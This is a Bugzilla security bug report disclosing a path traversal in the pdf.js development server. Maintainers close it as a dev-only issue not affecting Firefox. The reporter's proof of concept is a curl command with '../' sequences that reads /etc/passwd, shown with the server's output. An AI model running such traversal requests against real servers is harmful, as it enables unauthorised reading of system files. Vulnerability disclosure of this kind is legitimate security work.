Closed Bug 1505558 Opened 7 years ago Closed 7 years ago

Path traversal in pdf.js

Categories

(Firefox :: PDF Viewer, defect)

63 Branch
defect
Not set
normal

Tracking

()

RESOLVED INVALID

People

(Reporter: mishra.dhiraj95, Unassigned)

Details

(Keywords: reporter-external, sec-other, Whiteboard: doesn't affect firefox's pdf reader)

Attachments

(1 file)

Attached image PoC.png
User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:63.0) Gecko/20100101 Firefox/63.0 Steps to reproduce: I am not sure, whether this is the right place to submit issue for this asset. (PDF.js), however its a security issue, so submitting over here, kindly advise if this bug needs to be submit anywhere else. ## Summary A path traversal issue was observed in pdf.js (https://github.com/mozilla/pdf.js), It could allow attacker to read content of arbitrary file on remote server, attached PoC for your reference. Actual results: ## Steps to reproduce. 1. Install PDF.js mention here (https://github.com/mozilla/pdf.js) 2. Once the server is running on 8888, run below command to verify the issue. 3. curl --path-as-is -v http://localhost:8888/../../../../../../etc/passwd input@zero:~/Desktop/pdf.js$ curl --path-as-is -v http://localhost:8888/../../../../../../etc/passwd * Trying 127.0.0.1... * TCP_NODELAY set * Connected to localhost (127.0.0.1) port 8888 (#0) > GET /../../../../../../etc/passwd HTTP/1.1 > Host: localhost:8888 > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 200 OK < Accept-Ranges: bytes < Content-Type: application/octet-stream < Content-Length: 2699 < Date: Wed, 07 Nov 2018 20:30:11 GMT < Connection: keep-alive < root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
Component: Untriaged → PDF Viewer
Flags: needinfo?(bdahl)
The server with pdf.js is intended to be a development server and should not be exposed to public networks. I suppose we could update the docs to state that.
Flags: needinfo?(bdahl)
Thank you Gijs, and Brendan for taking a look into this, however i am still not clear with the above comment, so do we have any plan for a fix of this issue or we are letting it go for this time ? please suggest.
Keywords: sec-other
Whiteboard: doesn't affect firefox's pdf reader
Flags: sec-bounty?
Does not qualify for a bounty since it doesn't affect Firefox. Brendan: please answer comment 2.
Flags: sec-bounty?
Flags: sec-bounty-
Flags: needinfo?(bdahl)
I'll open an issue[1] upstream in the PDF.js repo to update the documentation and to limit what the development server can read. [1] https://github.com/mozilla/pdf.js/issues/10249
Flags: needinfo?(bdahl)
Going to close this given it doesn't affect Firefox.
Status: UNCONFIRMED → RESOLVED
Closed: 7 years ago
Resolution: --- → INVALID
Group: firefox-core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: